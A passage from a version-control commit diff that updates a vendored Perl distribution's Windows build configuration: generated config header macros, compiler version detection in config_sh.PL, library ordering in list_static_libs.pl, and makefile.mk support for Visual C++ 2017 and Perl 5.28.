+ *	is defined.
+ */
+/*#define HAS_GMTIME_R	   / **/
+#define GMTIME_R_PROTO 0	   /**/
+
+/* HAS_LOCALTIME_R:
+ *	This symbol, if defined, indicates that the localtime_r routine
+ *	is available to localtime re-entrantly.
+ */
+/* LOCALTIME_R_NEEDS_TZSET:
+ *	Many libc's localtime_r implementations do not call tzset,
+ *	making them differ from localtime(), and making timezone
+ *	changes using \undef{TZ} without explicitly calling tzset
+ *	impossible. This symbol makes us call tzset before localtime_r
+ */
+/*#define LOCALTIME_R_NEEDS_TZSET / **/
+#ifdef LOCALTIME_R_NEEDS_TZSET
+#define L_R_TZSET tzset(),
+#else
+#define L_R_TZSET
 #endif
+
+/* LOCALTIME_R_PROTO:
+ *	This symbol encodes the prototype of localtime_r.
+ *	It is zero if d_localtime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r
+ *	is defined.
+ */
+/*#define HAS_LOCALTIME_R	   / **/
+#define LOCALTIME_R_PROTO 0	   /**/
+
+/* OLD_PTHREAD_CREATE_JOINABLE:
+ *	This symbol, if defined, indicates how to create pthread
+ *	in joinable (aka undetached) state.  NOTE: not defined
+ *	if pthread.h already has defined PTHREAD_CREATE_JOINABLE
+ *	(the new version of the constant).
+ *	If defined, known values are PTHREAD_CREATE_UNDETACHED
+ *	and __UNDETACHED.
+ */
+/*#define OLD_PTHREAD_CREATE_JOINABLE  / **/
+
+/* HAS_PTHREAD_ATFORK:
+ *	This symbol, if defined, indicates that the pthread_atfork routine
+ *	is available to setup fork handlers.
+ */
+/*#define HAS_PTHREAD_ATFORK		/ **/
+
+/* HAS_PTHREAD_YIELD:
+ *	This symbol, if defined, indicates that the pthread_yield
+ *	routine is available to yield the execution of the current
+ *	thread.	 sched_yield is preferable to pthread_yield.
+ */
+/* SCHED_YIELD:
+ *	This symbol defines the way to yield the execution of
+ *	the current thread.  Known ways are sched_yield,
+ *	pthread_yield, and pthread_yield with NULL.
+ */
+/* HAS_SCHED_YIELD:
+ *	This symbol, if defined, indicates that the sched_yield
+ *	routine is available to yield the execution of the current
+ *	thread.	 sched_yield is preferable to pthread_yield.
+ */
+/*#define HAS_PTHREAD_YIELD	/ **/
+#define SCHED_YIELD		/**/
+/*#define HAS_SCHED_YIELD	/ **/
+
+/* HAS_RANDOM_R:
+ *	This symbol, if defined, indicates that the random_r routine
+ *	is available to random re-entrantly.
+ */
+/* RANDOM_R_PROTO:
+ *	This symbol encodes the prototype of random_r.
+ *	It is zero if d_random_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r
+ *	is defined.
+ */
+/*#define HAS_RANDOM_R	   / **/
+#define RANDOM_R_PROTO 0	   /**/
+
+/* HAS_READDIR64_R:
+ *	This symbol, if defined, indicates that the readdir64_r routine
+ *	is available to readdir64 re-entrantly.
+ */
+/* READDIR64_R_PROTO:
+ *	This symbol encodes the prototype of readdir64_r.
+ *	It is zero if d_readdir64_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r
+ *	is defined.
+ */
+/*#define HAS_READDIR64_R	   / **/
+#define READDIR64_R_PROTO 0	   /**/
+
+/* HAS_READDIR_R:
+ *	This symbol, if defined, indicates that the readdir_r routine
+ *	is available to readdir re-entrantly.
+ */
+/* READDIR_R_PROTO:
+ *	This symbol encodes the prototype of readdir_r.
+ *	It is zero if d_readdir_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r
+ *	is defined.
+ */
+/*#define HAS_READDIR_R	   / **/
+#define READDIR_R_PROTO 0	   /**/
+
+/* HAS_SETGRENT_R:
+ *	This symbol, if defined, indicates that the setgrent_r routine
+ *	is available to setgrent re-entrantly.
+ */
+/* SETGRENT_R_PROTO:
+ *	This symbol encodes the prototype of setgrent_r.
+ *	It is zero if d_setgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r
+ *	is defined.
+ */
+/*#define HAS_SETGRENT_R	   / **/
+#define SETGRENT_R_PROTO 0	   /**/
+
+/* HAS_SETHOSTENT_R:
+ *	This symbol, if defined, indicates that the sethostent_r routine
+ *	is available to sethostent re-entrantly.
+ */
+/* SETHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of sethostent_r.
+ *	It is zero if d_sethostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r
+ *	is defined.
+ */
+/*#define HAS_SETHOSTENT_R	   / **/
+#define SETHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_SETLOCALE_R:
+ *	This symbol, if defined, indicates that the setlocale_r routine
+ *	is available to setlocale re-entrantly.
+ */
+/* SETLOCALE_R_PROTO:
+ *	This symbol encodes the prototype of setlocale_r.
+ *	It is zero if d_setlocale_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r
+ *	is defined.
+ */
+/*#define HAS_SETLOCALE_R	   / **/
+#define SETLOCALE_R_PROTO 0	   /**/
+
+/* HAS_SETNETENT_R:
+ *	This symbol, if defined, indicates that the setnetent_r routine
+ *	is available to setnetent re-entrantly.
+ */
+/* SETNETENT_R_PROTO:
+ *	This symbol encodes the prototype of setnetent_r.
+ *	It is zero if d_setnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r
+ *	is defined.
+ */
+/*#define HAS_SETNETENT_R	   / **/
+#define SETNETENT_R_PROTO 0	   /**/
+
+/* HAS_SETPROTOENT_R:
+ *	This symbol, if defined, indicates that the setprotoent_r routine
+ *	is available to setprotoent re-entrantly.
+ */
+/* SETPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of setprotoent_r.
+ *	It is zero if d_setprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r
+ *	is defined.
+ */
+/*#define HAS_SETPROTOENT_R	   / **/
+#define SETPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_SETPWENT_R:
+ *	This symbol, if defined, indicates that the setpwent_r routine
+ *	is available to setpwent re-entrantly.
+ */
+/* SETPWENT_R_PROTO:
+ *	This symbol encodes the prototype of setpwent_r.
+ *	It is zero if d_setpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r
+ *	is defined.
+ */
+/*#define HAS_SETPWENT_R	   / **/
+#define SETPWENT_R_PROTO 0	   /**/
+
+/* HAS_SETSERVENT_R:
+ *	This symbol, if defined, indicates that the setservent_r routine
+ *	is available to setservent re-entrantly.
+ */
+/* SETSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of setservent_r.
+ *	It is zero if d_setservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r
+ *	is defined.
+ */
+/*#define HAS_SETSERVENT_R	   / **/
+#define SETSERVENT_R_PROTO 0	   /**/
+
+/* HAS_SRAND48_R:
+ *	This symbol, if defined, indicates that the srand48_r routine
+ *	is available to srand48 re-entrantly.
+ */
+/* SRAND48_R_PROTO:
+ *	This symbol encodes the prototype of srand48_r.
+ *	It is zero if d_srand48_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r
+ *	is defined.
+ */
+/*#define HAS_SRAND48_R	   / **/
+#define SRAND48_R_PROTO 0	   /**/
+
+/* HAS_SRANDOM_R:
+ *	This symbol, if defined, indicates that the srandom_r routine
+ *	is available to srandom re-entrantly.
+ */
+/* SRANDOM_R_PROTO:
+ *	This symbol encodes the prototype of srandom_r.
+ *	It is zero if d_srandom_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r
+ *	is defined.
+ */
+/*#define HAS_SRANDOM_R	   / **/
+#define SRANDOM_R_PROTO 0	   /**/
+
+/* HAS_STRERROR_R:
+ *	This symbol, if defined, indicates that the strerror_r routine
+ *	is available to strerror re-entrantly.
+ */
+/* STRERROR_R_PROTO:
+ *	This symbol encodes the prototype of strerror_r.
+ *	It is zero if d_strerror_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
+ *	is defined.
+ */
+/*#define HAS_STRERROR_R	   / **/
+#define STRERROR_R_PROTO 0	   /**/
+
+/* HAS_TMPNAM_R:
+ *	This symbol, if defined, indicates that the tmpnam_r routine
+ *	is available to tmpnam re-entrantly.
+ */
+/* TMPNAM_R_PROTO:
+ *	This symbol encodes the prototype of tmpnam_r.
+ *	It is zero if d_tmpnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r
+ *	is defined.
+ */
+/*#define HAS_TMPNAM_R	   / **/
+#define TMPNAM_R_PROTO 0	   /**/
+
+/* HAS_TTYNAME_R:
+ *	This symbol, if defined, indicates that the ttyname_r routine
+ *	is available to ttyname re-entrantly.
+ */
+/* TTYNAME_R_PROTO:
+ *	This symbol encodes the prototype of ttyname_r.
+ *	It is zero if d_ttyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r
+ *	is defined.
+ */
+/*#define HAS_TTYNAME_R	   / **/
+#define TTYNAME_R_PROTO 0	   /**/
+
+/* I_MACH_CTHREADS:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <mach/cthreads.h>.
+ */
+/*#define   I_MACH_CTHREADS	/ **/
+
+/* I_PTHREAD:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <pthread.h>.
+ */
+/*#define   I_PTHREAD	/ **/
+
+/* USE_ITHREADS:
+ *	This symbol, if defined, indicates that Perl should be built to
+ *	use the interpreter-based threading implementation.
+ */
+/* USE_5005THREADS:
+ *	This symbol, if defined, indicates that Perl should be built to
+ *	use the 5.005-based threading implementation.
+ *	Only valid up to 5.8.x.
+ */
+/* OLD_PTHREADS_API:
+ *	This symbol, if defined, indicates that Perl should
+ *	be built to use the old draft POSIX threads API.
+ */
+/* USE_REENTRANT_API:
+ *	This symbol, if defined, indicates that Perl should
+ *	try to use the various _r versions of library functions.
+ *	This is extremely experimental.
+ */
+/*#define	USE_5005THREADS		/ **/
+/*#define	USE_ITHREADS		/ **/
+#if defined(USE_5005THREADS) && !defined(USE_ITHREADS)
+#define		USE_THREADS		/* until src is revised*/
+#endif
+/*#define	OLD_PTHREADS_API		/ **/
+/*#define	USE_REENTRANT_API	/ **/
+
+/* HAS_TIME:
+ *	This symbol, if defined, indicates that the time() routine exists.
+ */
+/* Time_t:
+ *	This symbol holds the type returned by time(). It can be long,
+ *	or time_t on BSD sites (in which case <sys/types.h> should be
+ *	included).
+ */
+#define HAS_TIME		/**/
+#define Time_t time_t		/* Time type */
+
+/* HAS_TIMES:
+ *	This symbol, if defined, indicates that the times() routine exists.
+ *	Note that this became obsolete on some systems (SUNOS), which now
+ * use getrusage(). It may be necessary to include <sys/times.h>.
+ */
+#define HAS_TIMES		/**/
+
+/* Fpos_t:
+ *	This symbol holds the type used to declare file positions in libc.
+ *	It can be fpos_t, long, uint, etc... It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+#define Fpos_t fpos_t		/* File position type */
+
+/* Gid_t_f:
+ *	This symbol defines the format string used for printing a Gid_t.
+ */
+#define	Gid_t_f		"ld"		/**/
+
+/* Gid_t_sign:
+ *	This symbol holds the signedness of a Gid_t.
+ *	1 for unsigned, -1 for signed.
+ */
+#define Gid_t_sign	-1		/* GID sign */
+
+/* Gid_t_size:
+ *	This symbol holds the size of a Gid_t in bytes.
+ */
+#define Gid_t_size 4		/* GID size */
+
+/* Gid_t:
+ *	This symbol holds the return type of getgid() and the type of
+ *	argument to setrgid() and related functions.  Typically,
+ *	it is the type of group ids in the kernel. It can be int, ushort,
+ *	gid_t, etc... It may be necessary to include <sys/types.h> to get
+ *	any typedef'ed information.
+ */
+#define Gid_t gid_t		/* Type for getgid(), etc... */
+
+/* Off_t:
+ *	This symbol holds the type used to declare offsets in the kernel.
+ *	It can be int, long, off_t, etc... It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+/* LSEEKSIZE:
+ *	This symbol holds the number of bytes used by the Off_t.
+ */
+/* Off_t_size:
+ *	This symbol holds the number of bytes used by the Off_t.
+ */
+#define Off_t long		/* <offset> type */
+#define LSEEKSIZE 4		/* <offset> size */
+#define Off_t_size 4	/* <offset> size */
+
+/* Mode_t:
+ *	This symbol holds the type used to declare file modes
+ *	for systems calls.  It is usually mode_t, but may be
+ *	int or unsigned short.  It may be necessary to include <sys/types.h>
+ *	to get any typedef'ed information.
+ */
+#define Mode_t mode_t	 /* file mode parameter for system calls */
+
+/* Pid_t:
+ *	This symbol holds the type used to declare process ids in the kernel.
+ *	It can be int, uint, pid_t, etc... It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+#define Pid_t int		/* PID type */
+
+/* Size_t_size:
+ *	This symbol holds the size of a Size_t in bytes.
+ */
+#define Size_t_size 4		/**/
+
+/* Size_t:
+ *	This symbol holds the type used to declare length parameters
+ *	for string functions.  It is usually size_t, but may be
+ *	unsigned long, int, etc.  It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+#define Size_t size_t	 /* length parameter for string functions */
+
+/* Uid_t_f:
+ *	This symbol defines the format string used for printing a Uid_t.
+ */
+#define	Uid_t_f		"ld"		/**/
+
+/* Uid_t_sign:
+ *	This symbol holds the signedness of a Uid_t.
+ *	1 for unsigned, -1 for signed.
+ */
+#define Uid_t_sign	-1		/* UID sign */
+
+/* Uid_t_size:
+ *	This symbol holds the size of a Uid_t in bytes.
+ */
+#define Uid_t_size 4		/* UID size */
+
+/* Uid_t:
+ *	This symbol holds the type used to declare user ids in the kernel.
+ *	It can be int, ushort, uid_t, etc... It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+#define Uid_t uid_t		/* UID type */
+
+#endif

Modified: vendor/perl/dist/win32/config_sh.PL
===================================================================
--- vendor/perl/dist/win32/config_sh.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/config_sh.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -84,18 +84,13 @@
 $opt{version_patchlevel_string} .= " patch $opt{PERL_PATCHLEVEL}" if exists $opt{PERL_PATCHLEVEL};
 
 my $ver = `ver 2>nul`;
-if ($ver =~ /Version (\d+\.\d+)/) {
-    $opt{osvers} = $1;
-}
-else {
-    $opt{osvers} = '4.0';
-}
+$opt{osvers} = $ver =~ /\b(\d+(?:\.\d+)+)\b/ ? $1 : '4.0';
 
 if (exists $opt{cc}) {
     # cl version detection borrowed from Test::Smoke's configsmoke.pl
     if ($opt{cc} =~ /\b(?:cl|icl)/) { #MSVC can come as clarm.exe, icl=Intel C
-        my $output = `$opt{cc} --version 2>&1`;
-        $opt{ccversion} = $output =~ /^.*Version\s+([\d.]+)/ ? $1 : '?';
+        my $output = `$opt{cc} 2>&1`;
+        $opt{ccversion} = $output =~ /\b(\d+(?:\.\d+)+)\b/ ? $1 : '?';
     }
     elsif ($opt{cc} =~ /\bgcc\b/) {
         chomp($opt{gccversion} = `$opt{cc} -dumpversion`);
@@ -265,19 +260,20 @@
     $opt{nvgformat} = '"g"';
 }
 
-# change the s{GM|LOCAL}TIME_{min|max} for VS2005 (aka VC 8) and
-# VS2008 (aka VC 9) or higher (presuming that later versions will have
-# at least the range of that).
+# change some configuration variables based on compiler version
 if ($opt{cc} =~ /\bcl/ and $opt{ccversion} =~ /^(\d+)/) {
     my $ccversion = $1;
-    if ($ccversion >= 14) {
+    if ($ccversion < 13) { # VC6
+	$opt{ar} ='lib';
+    }
+    if ($ccversion >= 14) { # VC8+
 	$opt{sGMTIME_max} = 32535291599;
 	$opt{sLOCALTIME_max} = 32535244799;
     }
-    if($ccversion < 13) { #VC6
-	$opt{ar} ='lib';
+    if ($ccversion >= 16) { # VC10+
+	$opt{i_stdint} = 'define';
     }
-    if ($ccversion >= 19) { # VC14
+    if ($ccversion >= 19) { # VC14+
 	$opt{stdio_base} = 'PERLIO_FILE_base(fp)';
 	$opt{stdio_bufsiz} = '(PERLIO_FILE_cnt(fp) + PERLIO_FILE_ptr(fp) - PERLIO_FILE_base(fp))';
 	$opt{stdio_cnt} = 'PERLIO_FILE_cnt(fp)';
@@ -285,15 +281,18 @@
 	$opt{i_stdbool} = 'define';
     }
 }
-#find out which MSVC this ICC is using
+# find out which MSVC this ICC is using
 elsif ($opt{cc} =~ /\bicl/) {
-    my $output = `cl --version 2>&1`;
-    my $num_ver = $output =~ /^.*Version\s+([\d.]+)/ ? $1 : '?';
-    if($num_ver =~ /^(\d+)/ && $1 >= 14) {
+    my $output = `cl 2>&1`;
+    my $num_ver = $output =~ /\b(\d+(?:\.\d+)+)\b/ ? $1 : '?';
+    if ($num_ver =~ /^(\d+)/ && $1 >= 14) { # VC8+
 	$opt{sGMTIME_max} = 32535291599;
 	$opt{sLOCALTIME_max} = 32535244799;
     }
-    if ($num_ver =~ /^(\d+)/ && $1 >= 19) { # VC14
+    if ($num_ver =~ /^(\d+)/ && $1 >= 16) { # VC10+
+	$opt{i_stdint} = 'define';
+    }
+    if ($num_ver =~ /^(\d+)/ && $1 >= 19) { # VC14+
 	$opt{stdio_base} = 'PERLIO_FILE_base(fp)';
 	$opt{stdio_bufsiz} = '(PERLIO_FILE_cnt(fp) + PERLIO_FILE_ptr(fp) - PERLIO_FILE_base(fp))';
 	$opt{stdio_cnt} = 'PERLIO_FILE_cnt(fp)';

Modified: vendor/perl/dist/win32/list_static_libs.pl
===================================================================
--- vendor/perl/dist/win32/list_static_libs.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/list_static_libs.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,11 +7,11 @@
 
 my @statics = split /\s+/, $Config{static_ext};
 
-my %extralibs;
+my (@extralibs, %extralibs); # collect extralibs, preserving their order
 for (@statics) {
     my $file = "..\\lib\\auto\\$_\\extralibs.ld";
     open my $fh, '<', $file or die "can't open $file for reading: $!";
-    $extralibs{$_}++ for grep {/\S/} split /\s+/, join '', <$fh>;
+    push @extralibs, grep {!$extralibs{$_}++} grep {/\S/} split /\s+/, join '', <$fh>;
 }
 print map {s|/|\\|g;m|([^\\]+)$|;"..\\lib\\auto\\$_\\$1$Config{_a} "} @statics;
-print map {"$_ "} sort keys %extralibs;
+print map {"$_ "} @extralibs;

Modified: vendor/perl/dist/win32/makefile.mk
===================================================================
--- vendor/perl/dist/win32/makefile.mk	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/makefile.mk	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,11 +2,12 @@
 # Makefile to build perl on Windows using DMAKE.
 # Supported compilers:
 #	Microsoft Visual C++ 6.0 or later
-#	MinGW with gcc-3.4.5 or later
+#	MinGW with gcc-3.4.5 or later with runtime < 3.21
+#	MinGW64 with gcc-4.4.3 or later
 #	Windows SDK 64-bit compiler and tools
 #
 # This is set up to build a perl.exe that runs off a shared library
-# (perl526.dll).  Also makes individual DLLs for the XS extensions.
+# (perl528.dll).  Also makes individual DLLs for the XS extensions.
 #
 
 ##
@@ -44,7 +45,7 @@
 # versioned installation can be obtained by setting INST_TOP above to a
 # path that includes an arbitrary version string.
 #
-#INST_VER	*= \5.26.0
+#INST_VER	*= \5.28.0
 
 #
 # Comment this out if you DON'T want your perl installation to have
@@ -105,9 +106,17 @@
 # Uncomment this if you want to support the use of long doubles in GCC builds.
 # This option is not supported for MSVC builds.
 #
-#USE_LONG_DOUBLE *=define
+#USE_LONG_DOUBLE *= define
 
 #
+# Uncomment this if you want to build perl with __USE_MINGW_ANSI_STDIO defined.
+# (If you're building perl with USE_LONG_DOUBLE defined then
+# __USE_MINGW_ANSI_STDIO will be defined whether or not this is uncommented.)
+# This option is not supported for MSVC builds.
+#
+#USE_MINGW_ANSI_STDIO *= define
+
+#
 # Comment this out if you want the legacy default behavior of including '.' at
 # the end of @INC.
 #
@@ -118,7 +127,7 @@
 # HKEY_CURRENT_USER\Software\Perl and HKEY_LOCAL_MACHINE\Software\Perl in
 # the Registry.
 #
-#USE_NO_REGISTRY *=define
+#USE_NO_REGISTRY *= define
 
 #
 # uncomment exactly one of the following
@@ -131,30 +140,20 @@
 #CCTYPE		*= MSVC70FREE
 # Windows Server 2003 SP1 Platform SDK (April 2005)
 #CCTYPE		= SDK2003SP1
-# Visual C++ 2005 (aka Visual C++ 8.0) (full version)
+# Visual C++ 2005 (aka Visual C++ 8.0) (full version or Express Edition)
 #CCTYPE		*= MSVC80
-# Visual C++ 2005 Express Edition (aka Visual C++ 8.0) (free version)
-#CCTYPE		*= MSVC80FREE
-# Visual C++ 2008 (aka Visual C++ 9.0) (full version)
+# Visual C++ 2008 (aka Visual C++ 9.0) (full version or Express Edition)
 #CCTYPE		*= MSVC90
-# Visual C++ 2008 Express Edition (aka Visual C++ 9.0) (free version)
-#CCTYPE		*= MSVC90FREE
-# Visual C++ 2010 (aka Visual C++ 10.0) (full version)
+# Visual C++ 2010 (aka Visual C++ 10.0) (full version or Express Edition)
 #CCTYPE		= MSVC100
-# Visual C++ 2010 Express Edition (aka Visual C++ 10.0) (free version)
-#CCTYPE		= MSVC100FREE
-# Visual C++ 2012 (aka Visual C++ 11.0) (full version)
+# Visual C++ 2012 (aka Visual C++ 11.0) (full version or Express Edition)
 #CCTYPE		= MSVC110
-# Visual C++ 2012 Express Edition (aka Visual C++ 11.0) (free version)
-#CCTYPE		= MSVC110FREE
-# Visual C++ 2013 (aka Visual C++ 12.0) (full version)
+# Visual C++ 2013 (aka Visual C++ 12.0) (full version or Express Edition)
 #CCTYPE		= MSVC120
-# Visual C++ 2013 Express Edition (aka Visual C++ 12.0) (free version)
-#CCTYPE		= MSVC120FREE
-# Visual C++ 2015 (aka Visual C++ 14.0) (full version)
+# Visual C++ 2015 (aka Visual C++ 14.0) (full version or Express Edition)
 #CCTYPE		= MSVC140
-# Visual C++ 2015 Express Edition (aka Visual C++ 14.0) (free version)
-#CCTYPE		= MSVC140FREE
+# Visual C++ 2017 (aka Visual C++ 14.1) (full version or Community Edition)
+#CCTYPE		= MSVC141
 # MinGW or mingw-w64 with gcc-3.4.5 or later
 #CCTYPE		= GCC
 
@@ -222,7 +221,7 @@
 # set this to additionally provide a statically linked perl-static.exe.
 # Note that dynamic loading will not work with this perl, so you must
 # include required modules statically using the STATIC_EXT or ALL_STATIC
-# variables below. A static library perl526s.lib will also be created.
+# variables below. A static library perl528s.lib will also be created.
 # Ordinary perl.exe is not affected by this option.
 #
 #BUILD_STATIC	*= define
@@ -229,19 +228,17 @@
 
 #
 # in addition to BUILD_STATIC the option ALL_STATIC makes *every*
-# extension get statically built
+# extension get statically built.
 # This will result in a very large perl executable, but the main purpose
 # is to have proper linking set so as to be able to create miscellaneous
-# executables with different built-in extensions
+# executables with different built-in extensions. It implies BUILD_STATIC.
 #
 #ALL_STATIC	*= define
 
 #
-# set the install locations of the compiler include/libraries
-# Running VCVARS32.BAT is *required* when using Visual C.
-# Some versions of Visual C don't define MSVCDIR in the environment,
-# so you may have to set CCHOME explicitly (spaces in the path name should
-# not be quoted)
+# set the install location of the compiler
+# Running VCVARS32.BAT, VCVARSALL.BAT or similar is *required* when using
+# Visual C++.
 #
 
 #CCHOME		*= C:\MinGW
@@ -364,29 +361,22 @@
 .ENDIF
 .ENDIF
 
-
+# Versions of Visual C++ up to VC++ 7.1 define $(MSVCDir); versions since then
+# define $(VCINSTALLDIR) instead, but for VC++ 14.1 we need the subfolder given
+# by $(VCToolsInstallDir).
 .IF "$(CCHOME)" == ""
 .IF "$(CCTYPE)" == "GCC"
 CCHOME		*= C:\MinGW
+.ELIF "$(CCTYPE)" == "MSVC60" || \
+    "$(CCTYPE)" == "MSVC70" || "$(CCTYPE)" == "MSVC70FREE"
+CCHOME		*= $(MSVCDir)
+.ELIF "$(CCTYPE)" == "MSVC141"
+CCHOME		*= $(VCToolsInstallDir)
 .ELSE
-CCHOME		*= $(MSVCDIR)
+CCHOME		*= $(VCINSTALLDIR)
 .ENDIF
 .ENDIF
 
-#
-# Following sets $Config{incpath} and $Config{libpth}
-#
-
-.IF "$(GCCCROSS)" == "define"
-CCINCDIR *= $(CCHOME)\x86_64-w64-mingw32\include
-CCLIBDIR *= $(CCHOME)\x86_64-w64-mingw32\lib
-CCDLLDIR *= $(CCLIBDIR)
-.ELSE
-CCINCDIR *= $(CCHOME)\include
-CCLIBDIR *= $(CCHOME)\lib
-CCDLLDIR *= $(CCHOME)\bin
-.ENDIF
-
 PROCESSOR_ARCHITECTURE *= x86
 
 .IF "$(WIN64)" == "undef"
@@ -458,6 +448,40 @@
 ARCHNAME	!:= $(ARCHNAME)-ld
 .ENDIF
 
+# Set the install location of the compiler headers/libraries.
+# These are saved into $Config{incpath} and $Config{libpth}.
+.IF "$(GCCCROSS)" == "define"
+CCINCDIR *= $(CCHOME)\x86_64-w64-mingw32\include
+CCLIBDIR *= $(CCHOME)\x86_64-w64-mingw32\lib
+.ELIF "$(CCTYPE)" == "GCC"
+CCINCDIR *= $(CCHOME)\include
+CCLIBDIR *= $(CCHOME)\lib
+.ELSE
+CCINCDIR *= $(CCHOME)\include
+.IF "$(CCTYPE)" == "MSVC141"
+.IF "$(WIN64)" == "define"
+CCLIBDIR *= $(CCHOME)\lib\x64
+.ELSE
+CCLIBDIR *= $(CCHOME)\lib\x86
+.ENDIF
+.ELSE
+.IF "$(WIN64)" == "define"
+CCLIBDIR *= $(CCHOME)\lib\amd64
+.ELSE
+CCLIBDIR *= $(CCHOME)\lib
+.ENDIF
+.ENDIF
+.ENDIF
+
+# Set DLL location for GCC compilers.
+.IF "$(CCTYPE)" == "GCC"
+.IF "$(GCCCROSS)" == "define"
+CCDLLDIR *= $(CCLIBDIR)
+.ELSE
+CCDLLDIR *= $(CCHOME)\bin
+.ENDIF
+.ENDIF
+
 ARCHDIR		= ..\lib\$(ARCHNAME)
 COREDIR		= ..\lib\CORE
 AUTODIR		= ..\lib\auto
@@ -468,7 +492,6 @@
 PODDIR		= ..\pod
 HTMLDIR		= .\html
 
-#
 INST_SCRIPT	= $(INST_TOP)$(INST_VER)\bin
 INST_BIN	= $(INST_SCRIPT)$(INST_ARCH)
 INST_LIB	= $(INST_TOP)$(INST_VER)\lib
@@ -496,7 +519,7 @@
 IMPLIB		= $(ARCHPREFIX)dlltool
 RSC		= $(ARCHPREFIX)windres
 
-.IF "$(USE_LONG_DOUBLE)" == "define"
+.IF "$(USE_LONG_DOUBLE)" == "define" || "$(USE_MINGW_ANSI_STDIO)" == "define"
 BUILDOPT        += -D__USE_MINGW_ANSI_STDIO
 MINIBUILDOPT    += -D__USE_MINGW_ANSI_STDIO
 .ENDIF
@@ -617,7 +640,7 @@
 LOCDEFS		= -DPERLDLL -DPERL_CORE
 CXX_FLAG	= -TP -EHsc
 
-.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 LIBC		= ucrt.lib
 .ELSE
 LIBC		= msvcrt.lib
@@ -630,7 +653,7 @@
 OPTIMIZE	= -Od -MD -Zi
 LINK_DBG	= -debug
 .ELIF  "$(CFG)" == "DebugFull"
-.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 LIBC		= ucrtd.lib
 .ELSE
 LIBC		= msvcrtd.lib
@@ -667,9 +690,9 @@
 DEFINES		+= -D_CRT_SECURE_NO_DEPRECATE -D_CRT_NONSTDC_NO_DEPRECATE
 .ENDIF
 
-# Likewise for deprecated Winsock APIs in VC++ 14.0 for now.
-.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
-DEFINES		= $(DEFINES) -D_WINSOCK_DEPRECATED_NO_WARNINGS
+# Likewise for deprecated Winsock APIs in VC++ 14.0 onwards for now.
+.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
+DEFINES		+= -D_WINSOCK_DEPRECATED_NO_WARNINGS
 .ENDIF
 
 # In VS 2005 (VC++ 8.0) Microsoft changes time_t from 32-bit to
@@ -691,7 +714,7 @@
 	netapi32.lib uuid.lib ws2_32.lib mpr.lib winmm.lib version.lib \
 	odbc32.lib odbccp32.lib comctl32.lib
 
-.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 .IF "$(CFG)" == "DebugFull"
 LIBBASEFILES	+= msvcrtd.lib vcruntimed.lib
 .ELSE
@@ -746,13 +769,13 @@
 RSC_FLAGS	= -DINCLUDE_MANIFEST
 .ENDIF
 
+# VS 2017 (VC++ 14.1) requires at minimum Windows 7 SP1 (with latest Windows Updates)
 
 # For XP support in >= VS 2013 (VC++ 12.0), subsystem is always in Config.pm
 # LINK_FLAGS else subsystem is only needed for EXE building, not XS DLL building
 # Console vs GUI makes no difference for DLLs, so use default for cleaner
 # building cmd lines
-.IF "$(CCTYPE)" == "MSVC120" || "$(CCTYPE)" == "MSVC120FREE" \
-    || "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+.IF "$(CCTYPE)" == "MSVC120" || "$(CCTYPE)" == "MSVC140"
 .IF "$(WIN64)" == "define"
 LINK_FLAGS	+= -subsystem:console,"5.02"
 .ELSE
@@ -897,8 +920,8 @@
 
 CFGSH_TMPL	= config.gc
 CFGH_TMPL	= config_H.gc
